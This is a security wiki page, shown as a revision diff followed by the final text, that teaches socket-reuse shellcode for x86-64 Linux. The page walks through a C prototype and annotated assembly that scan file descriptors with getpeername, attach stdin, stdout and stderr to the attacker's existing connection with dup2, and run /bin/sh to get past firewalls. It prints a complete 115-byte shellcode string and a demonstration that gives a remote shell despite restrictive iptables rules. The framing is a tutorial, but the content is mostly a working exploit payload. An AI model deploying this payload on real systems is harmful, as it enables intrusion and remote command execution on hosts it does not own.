Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Shellcode/Socket-reuse"

From NetSec
Jump to: navigation, search
 
(16 intermediate revisions by 2 users not shown)
Line 1: Line 1:
'''Socket-reuse shellcode''' is used to bypass firewalls.  Usually, shellcode developers have provided bindshells and connectback shells.  Both of these require a permissive [[firewall]] to some extent or another.  However, because sockets are treated as re-usable or dynamic file descriptors by most [[operating system]]s, it is possible to examine existing socket connections, so it is possible to simply bind a shell to the socket that the exploit [[shellcode]] came from.
+
'''Socket-reuse shellcode''' is used to bypass firewalls.  Usually, [[shellcode]] and [[exploitation|exploit]] developers and users provide "bindshell" and "connect-back" [[shellcode]]s.  Both of these require a permissive [[firewall]] to some extent or another.  However, because sockets are treated as re-usable or dynamic file descriptors by most [[operating system]]s, it is possible to examine existing socket connections, therefore one can simply bind a shell to the socket that the exploit [[shellcode]] came from.
  
 
By parsing through the open file descriptors in the context of the exploited [[vulnerability]], it is possible to identify the file descriptor for the socket that first received the [[exploitation|exploit]].  This form of re-use can allow attackers to further execute [[programming|code]] without the necessity to [[Filter bypass|further circumvent]] any network level [[firewall]] restrictions.  
 
By parsing through the open file descriptors in the context of the exploited [[vulnerability]], it is possible to identify the file descriptor for the socket that first received the [[exploitation|exploit]].  This form of re-use can allow attackers to further execute [[programming|code]] without the necessity to [[Filter bypass|further circumvent]] any network level [[firewall]] restrictions.  
Line 8: Line 8:
 
== Firewall bypass via dynamic file descriptor re-use ==
 
== Firewall bypass via dynamic file descriptor re-use ==
  
We iterate over all 65535 possible file descriptors. For each one, we call getpeername() which populates a sockaddr struct with the [[IP address]] and port of the peer on the socket (or returns -1 if it is not a socket or a socket but not connected). When we have found a socket that matches, we use dup2() to copy stdin, stdout, and stderr to our socket's file descriptor, then execute /bin/sh.  
+
By default, [[Linux]] only allows for the maximum size of an integer in file descriptors. The first three file descriptors, ''0'', ''1'', and ''2'', represent ''stdin'', ''stdout'', and ''stderr'', respectively.
  
 +
 +
Because it can be helpful for beginners to build a [[C]] prototype when writing complex [[shellcode]]s, a C prototype for socket-reuse [[shellcode]] has been provided below:
  
 
{{code|text=<source lang="c">
 
{{code|text=<source lang="c">
Line 28: Line 30:
 
   inet_pton(AF_INET, ADDR, inet_address);
 
   inet_pton(AF_INET, ADDR, inet_address);
 
   
 
   
   for(int port=0; port<65535; port++){
+
   for(int sock_fd=0; sock_fd<65535; sock_fd++){
     if(getpeername(port, (struct sockaddr*) &s, &s_len) != 0)
+
     if(getpeername(sock_fd, (struct sockaddr*) &s, &s_len) != 0)
 
       continue;
 
       continue;
  
     if (s->sin_port != PORT_NO || s->sin_addr.s_addr != inet_address->s_addr)
+
     if (s->sin_port != PORT_NO || s->sin_addr.s_addr != ADDR)
 
       continue;
 
       continue;
  
     for (int i=0; i<4; i++)
+
     for (int i=0; i<3; i++)
       dup2(port, i);
+
       dup2(sock_fd, i);
  
 
     execve("/bin/sh", NULL, NULL);
 
     execve("/bin/sh", NULL, NULL);
Line 44: Line 46:
  
 
==Iterating Over File Descriptors==
 
==Iterating Over File Descriptors==
The first thing we do is iterate over all file descriptors.
+
The first thing the [[C]] does is iterate over all file descriptors, so the [[shellcode]] does the same.
  
 
This shellcode begins with an unconditional jump to start, allowing it to call backwards to exit when needed.  
 
This shellcode begins with an unconditional jump to start, allowing it to call backwards to exit when needed.  
Line 52: Line 54:
  
  
Our exit function simply calls exit, since rdi will have a number in it we omitted xoring this to zero to save three bytes.  
+
The exit function simply calls exit, since ''%rdi'' will already have a number in it ''[[Bitwise_math#XOR|xor]]''ing this to zero was omitted to save three bytes.  
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
exit:
 
exit:
Line 69: Line 71:
  
  
Then to initialize the sockaddr struct, a pointer to %rsp - 0x14 is placed into %rdx, and then 0x10 is placed at %rdx's location (0x10 is the length of sockaddr struct, required by getpeername()):  
+
Then to initialize the sockaddr struct, a pointer to ''%rsp'' - 0x14 is placed into ''%rdx'', and then 0x10 is placed at ''%rdx'''s location (0x10 is the length of sockaddr struct, required by ''getpeername''()):  
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
make_fd_struct:
 
make_fd_struct:
Line 77: Line 79:
  
  
Then a pointer to %rdx + 4 (the sockaddr struct) is placed into %rsi:
+
Then a pointer to ''%rdx'' + 4 (the sockaddr struct) is placed into %rsi:
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
   lea 0x4(%rdx), %rsi # move struct into rsi
 
   lea 0x4(%rdx), %rsi # move struct into rsi
Line 91: Line 93:
  
  
As %di increments it will overflow into %edi once it hits 65536, making %di zero, so when the inc instruction reaches zero, the zero flag is set and we can jump to exit:
+
As ''%di'' increments it will overflow into ''%edi'' once it hits 65536, making ''%di'' zero, so when the ''inc'' instruction reaches zero, the zero flag is set and it can jump to exit:
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
   jz exit
 
   jz exit
Line 97: Line 99:
  
  
Our stack fix resets the stack pointer to the struct after each iteration.
+
The stack fix resets the stack pointer to point to the struct after each iteration.
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
stack_fix:
 
stack_fix:
Line 104: Line 106:
  
 
====getpeername()====
 
====getpeername()====
To execute getpeername(fd, sockaddr_struct), we subtract 0x20 from the stack pointer then push the system call number for getpeername (0x34) into %rax.  
+
To execute getpeername(fd, sockaddr_struct), the [[shellcode]] subtracts 0x20 from the stack pointer then pushes the system call number for getpeername (0x34) into ''%rax''.  
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
get_peer_name:
 
get_peer_name:
Line 112: Line 114:
 
   syscall
 
   syscall
 
</source>}}
 
</source>}}
After getpeername executes, we test that it returns 0 (it executed successfully against a connected socket), and if it does not, we jump back up to the start of the loop.  
+
After getpeername executes, the ''test'' instruction checks to see if it returns 0 (meaning that it executed successfully against a connected socket), and if it does not, it jumps back up to the start of the loop.  
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
check_pn_success:
 
check_pn_success:
Line 120: Line 122:
  
 
=== Checking the socket ===
 
=== Checking the socket ===
We then check the source IP and source port of the socket (if we have gotten this far, the socket is a connected peer, we just do not know if it is our socket at this point).  
+
It then checks the source IP and source port of the socket (if the code has gotten this far, the socket is a connected peer, however it has not yet been determined whether or not this is the proper socket).
 +
 
 +
First, the [[Assembly#Indexed_Addressing|indexed reference]] to the IP is setup by putting 0x1b (the offset to the IP) into ''%rcx''.  
  
First we setup our indexed reference to our IP by putting 0x1b (our offset) into %rcx.
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
; If we make it here, rbx and rax are 0
 
; If we make it here, rbx and rax are 0
Line 129: Line 132:
 
   pop %rcx
 
   pop %rcx
 
</source>}}
 
</source>}}
We then move our IP address that has been xored with 0xffffffff into %ebx.  
+
 
 +
The IP address that has been ''xor''ed with 0xffffffff is then moved into ''%ebx''.  
 +
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
   mov $0xfeffff80, %ebx
 
   mov $0xfeffff80, %ebx
 
</source>}}
 
</source>}}
We "[[not]]" this IP (identical to [[xor]] 0xffffff), this converts our xored IP into the original (in this case, 127.0.0.1).
+
 
 +
This IP is then "[[not]]"'d (identical to [[xor]] 0xffffff), and converted to the original IP (in this case, 127.0.0.1).
 +
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
   not %ebx
 
   not %ebx
 
</source>}}
 
</source>}}
We compare this decoded value with the IP address returned by getpeername(), which is located at the offset 0x1b.   
+
 
 +
This decoded value is then compared with the IP address returned by getpeername(), which is located at the offset 0x1b.   
 +
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
   cmpl %ebx, (%rsp,%rcx,4)       
 
   cmpl %ebx, (%rsp,%rcx,4)       
 
</source>}}
 
</source>}}
If this matches we continue, otherwise we jump back to the start of the loop.  
+
 
 +
If this matches then continue, otherwise jump back to the start of the loop.  
 +
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
   jne loop
 
   jne loop
 
</source>}}
 
</source>}}
Then we check our port using the same [[xor]] and [[not]] technique at offset 0x35.  If the port is incorrect, the code goes back to the beginning of the loop.
+
 
 +
Then the port is checked using the same [[xor]] and [[not]] technique at offset 0x35.  If the port is incorrect, the code goes back to the beginning of the loop.
 +
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 
check_port:
 
check_port:
Line 154: Line 167:
 
   jne loop
 
   jne loop
 
</source>}}
 
</source>}}
{{protip|If your [[IP address]] and port translated to hexadecimal do not contain null bytes, you can save four bytes by hardcoding them directly (removing the [[not]] instruction).}}
+
 
 +
{{protip|If the [[IP address]] and port translated to hexadecimal do not contain null bytes, four bytes can be saved by hardcoding them directly (removing the [[not]] instruction).}}
  
 
== Spawning the shell ==
 
== Spawning the shell ==
Now that we have our correct file descriptor, we can use dup2() to redirect stdout, stderr, and stdin to our socket.  
+
Now that the correct file descriptor has been found, ''dup2''() will be used to redirect stdout, stderr, and stdin to the socket.  
 
===dup2()===
 
===dup2()===
  
This way, when we execute /bin/sh, the read() and write() functions will use our socket instead of the standard file descriptors.
+
This way, when ''/bin/sh'' is executed, the read() and write() functions will use this socket instead of the standard file descriptors.
  
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
Line 179: Line 193:
 
===execve()===
 
===execve()===
  
Finally, we exececute /bin/sh using the shellcode from earlier in the article:
+
Finally, execute /bin/sh using the [[shellcode]] from [[Shellcode/Appendix#setuid_binsh.s|earlier in this series]]:
  
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
Line 198: Line 212:
 
</source>}}
 
</source>}}
  
== See also ==
+
== Testing the code ==
  
Once this is assembled and the opcodes are extracted we can create a generator in python that will accept a port and IP address from command-line, then convert them into the correct format for the shellcode.  [[Shellcode/Appendix#socket-reuse-generator.py|The generator]] then prints the completed shellcode for later use.
+
Once this is assembled and the opcodes are extracted a generator can be written in [[python]] that will accept a port and IP address from command-line, then convert them into the correct format for the shellcode.  [[Shellcode/Appendix#socket-reuse-generator.py|The generator]] then prints the completed [[shellcode]] for later use.
 +
 
 +
The [[Shellcode/Appendix#socket-loader.c|test program]], [[Shellcode/Appendix#socket-reuse-send.c|sender]], [[Shellcode/Appendix#Generators|generator]], and [[Shellcode/Appendix#socket-reuse.s|full code for the shellcode]] are available in the downloadable [[shellcodecs]] package. The final generated [[shellcode]] comes out to 115 bytes.
 +
 
 +
To demonstrate usage of the [[shellcode]], first load these [[iptables]] rules:
 +
 
 +
{{code|text=<source lang="bash">
 +
iptables -P INPUT DROP
 +
iptables -P OUTPUT DROP
 +
iptables -P FORWARD DROP
 +
iptables -I INPUT 1 --proto tcp --dport 1024 -j ACCEPT
 +
iptables -I OUTPUT 1 --proto tcp --sport 1024 -m conntrack --ctstate ESTABLISHED -j ACCEPT
 +
</source>}}
 +
 
 +
The rules set all traffic to DROP by default. It then only accepts incoming traffic on port 1024 (the port of the listener) and only allows established outbound traffic on port 1024. Next, compile and run the [[Shellcode/Appendix#socket-loader.c|provided loader]]:
 +
 
 +
  root@localhost:~|⇒  ls
 +
  iptables  socket-loader  socket-loader.c
 +
  root@localhost:~|⇒  ./iptables
 +
  root@localhost:~|⇒  gcc -o socket-loader socket-loader.c
 +
  root@localhost:~|⇒  ./socket-loader 1024
 +
 
 +
Then [[Shellcode/Appendix#Generators|generate]] the code and put it into [[Shellcode/Appendix#socket-reuse-send.c|socket-reuse-send.c]] and execute it:
 +
 
 +
  {} generators ./socket-reuse-generator.py 172.16.213.1 1025
 +
  "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
 +
  "\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48"
 +
  "\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb"
 +
  "\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe"
 +
  "\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f"
 +
  "\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a"
 +
  "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b"
 +
  "\x58\x0f\x05"
 +
  {} socket-reuse vim socket-reuse-send.c
 +
  {} socket-reuse gcc -o socket-reuse-send socket-reuse-send.c
 +
  {} socket-reuse ./socket-reuse-send 172.16.213.132 1024 172.16.213.1 1025
 +
  Connecting to 172.16.213.132
 +
  Sending payload
 +
  ls
 +
  iptables
 +
  socket-loader
 +
  socket-loader.c
 +
  ^C
 +
  {} socket-reuse
 +
 
 +
Note that the [[shellcode]] worked just like it should even with the extremely restrictive [[iptables]] rules.
 +
 
 +
== See also ==
  
The test program, sender, generator, and full code for the shellcode are in the appendix tarball. Our final generated shellcode comes out to 115 bytes.
+
{{social}}

Latest revision as of 03:28, 25 April 2013

Socket-reuse shellcode is used to bypass firewalls. Usually, shellcode and exploit developers and users provide "bindshell" and "connect-back" shellcodes. Both of these require a permissive firewall to some extent or another. However, because sockets are treated as re-usable or dynamic file descriptors by most operating systems, it is possible to examine existing socket connections, therefore one can simply bind a shell to the socket that the exploit shellcode came from.

By parsing through the open file descriptors in the context of the exploited vulnerability, it is possible to identify the file descriptor for the socket that first received the exploit. This form of re-use can allow attackers to further execute code without the necessity to further circumvent any network level firewall restrictions.

c3el4.png
The code and ideas discussed here are part of an all-encompassing shellcode portal. Everything described here and the full source of the code examined in this article is also available in the downloadable shellcodecs package.


Firewall bypass via dynamic file descriptor re-use

By default, Linux only allows for the maximum size of an integer in file descriptors. The first three file descriptors, 0, 1, and 2, represent stdin, stdout, and stderr, respectively.


Because it can be helpful for beginners to build a C prototype when writing complex shellcodes, a C prototype for socket-reuse shellcode has been provided below:

 
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
 
#define PORT_NO 1025
#define ADDR    "127.0.0.1"
 
int main(int argc, const char *argv[])
{
  int test_getpeername;
  struct sockaddr_in *s;
  socklen_t s_len = sizeof(s);
  struct in_addr *inet_address;  
  inet_pton(AF_INET, ADDR, inet_address);
 
  for(int sock_fd=0; sock_fd<65535; sock_fd++){
    if(getpeername(sock_fd, (struct sockaddr*) &s, &s_len) != 0)
      continue;
 
    if (s->sin_port != PORT_NO || s->sin_addr.s_addr != ADDR)
      continue;
 
    for (int i=0; i<3; i++)
      dup2(sock_fd, i);
 
    execve("/bin/sh", NULL, NULL);
  }
  return 0;
}

Iterating Over File Descriptors

The first thing the C does is iterate over all file descriptors, so the shellcode does the same.

This shellcode begins with an unconditional jump to start, allowing it to call backwards to exit when needed.

 
jmp start
 


The exit function simply calls exit, since %rdi will already have a number in it xoring this to zero was omitted to save three bytes.

 
exit:
  push $0x3c
  pop %rax
  syscall
 


The start function sets the counter for file descriptors to two to skip over stdin, stderr, and stdout:

 
start:
  push $0x02
  pop %rdi
 


Then to initialize the sockaddr struct, a pointer to %rsp - 0x14 is placed into %rdx, and then 0x10 is placed at %rdx's location (0x10 is the length of sockaddr struct, required by getpeername()):

 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
 


Then a pointer to %rdx + 4 (the sockaddr struct) is placed into %rsi:

 
  lea 0x4(%rdx), %rsi # move struct into rsi
 


The loop increments %di and jumps to exit if it zeroes out.

c3el4.png %di is the lower order word of %rdi.
 
loop:
  inc %di
 


As %di increments it will overflow into %edi once it hits 65536, making %di zero, so when the inc instruction reaches zero, the zero flag is set and it can jump to exit:

 
  jz exit
 


The stack fix resets the stack pointer to point to the struct after each iteration.

 
stack_fix:
  lea 0x14(%rdx), %rsp
 

getpeername()

To execute getpeername(fd, sockaddr_struct), the shellcode subtracts 0x20 from the stack pointer then pushes the system call number for getpeername (0x34) into %rax.

 
get_peer_name:
  sub $0x20, %rsp
  push $0x34
  pop %rax
  syscall
 

After getpeername executes, the test instruction checks to see if it returns 0 (meaning that it executed successfully against a connected socket), and if it does not, it jumps back up to the start of the loop.

 
check_pn_success:
  test %al, %al
  jne loop
 

Checking the socket

It then checks the source IP and source port of the socket (if the code has gotten this far, the socket is a connected peer, however it has not yet been determined whether or not this is the proper socket).

First, the indexed reference to the IP is setup by putting 0x1b (the offset to the IP) into %rcx.

 
; If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %rcx
 

The IP address that has been xored with 0xffffffff is then moved into %ebx.

 
  mov $0xfeffff80, %ebx
 

This IP is then "not"'d (identical to xor 0xffffff), and converted to the original IP (in this case, 127.0.0.1).

 
  not %ebx
 

This decoded value is then compared with the IP address returned by getpeername(), which is located at the offset 0x1b.

 
  cmpl %ebx, (%rsp,%rcx,4)      
 

If this matches then continue, otherwise jump back to the start of the loop.

 
  jne loop
 

Then the port is checked using the same xor and not technique at offset 0x35. If the port is incorrect, the code goes back to the beginning of the loop.

 
check_port:
  movb $0x35, %cl
  mov $0x2dfb, %bx
  not %ebx
  cmpw %bx,(%rsp, %rcx ,2) ; (%rbp,%rsi,2)
  jne loop
 


Protip: If the IP address and port translated to hexadecimal do not contain null bytes, four bytes can be saved by hardcoding them directly (removing the not instruction).


Spawning the shell

Now that the correct file descriptor has been found, dup2() will be used to redirect stdout, stderr, and stdin to the socket.

dup2()

This way, when /bin/sh is executed, the read() and write() functions will use this socket instead of the standard file descriptors.

 
reuse:
  push %rax
  push %rax
  pop %rsi
 
  dup_loop:       # redirect stdin, stdout, stderr to socket
    push $0x21
    pop %rax
    syscall
    inc %esi
    cmp $0x4, %esi
    jne dup_loop
 

execve()

Finally, execute /bin/sh using the shellcode from earlier in this series:

 
execve:
  pop %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
  push $0x3b                     
  pop %rax                       # set %rax to function # for execve()
  syscall                        # execve('/bin/sh',null,null);
 

Testing the code

Once this is assembled and the opcodes are extracted a generator can be written in python that will accept a port and IP address from command-line, then convert them into the correct format for the shellcode. The generator then prints the completed shellcode for later use.

The test program, sender, generator, and full code for the shellcode are available in the downloadable shellcodecs package. The final generated shellcode comes out to 115 bytes.

To demonstrate usage of the shellcode, first load these iptables rules:

 
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
iptables -I INPUT 1 --proto tcp --dport 1024 -j ACCEPT
iptables -I OUTPUT 1 --proto tcp --sport 1024 -m conntrack --ctstate ESTABLISHED -j ACCEPT
 

The rules set all traffic to DROP by default. It then only accepts incoming traffic on port 1024 (the port of the listener) and only allows established outbound traffic on port 1024. Next, compile and run the provided loader:

 root@localhost:~|⇒  ls
 iptables  socket-loader  socket-loader.c
 root@localhost:~|⇒  ./iptables
 root@localhost:~|⇒  gcc -o socket-loader socket-loader.c 
 root@localhost:~|⇒  ./socket-loader 1024

Then generate the code and put it into socket-reuse-send.c and execute it:

 {} generators ./socket-reuse-generator.py 172.16.213.1 1025
 "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
 "\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48"
 "\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb"
 "\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe"
 "\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f"
 "\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a"
 "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b"
 "\x58\x0f\x05"
 {} socket-reuse vim socket-reuse-send.c
 {} socket-reuse gcc -o socket-reuse-send socket-reuse-send.c
 {} socket-reuse ./socket-reuse-send 172.16.213.132 1024 172.16.213.1 1025
 Connecting to 172.16.213.132
 Sending payload
 ls
 iptables
 socket-loader
 socket-loader.c
 ^C
 {} socket-reuse 

Note that the shellcode worked just like it should even with the extremely restrictive iptables rules.

See also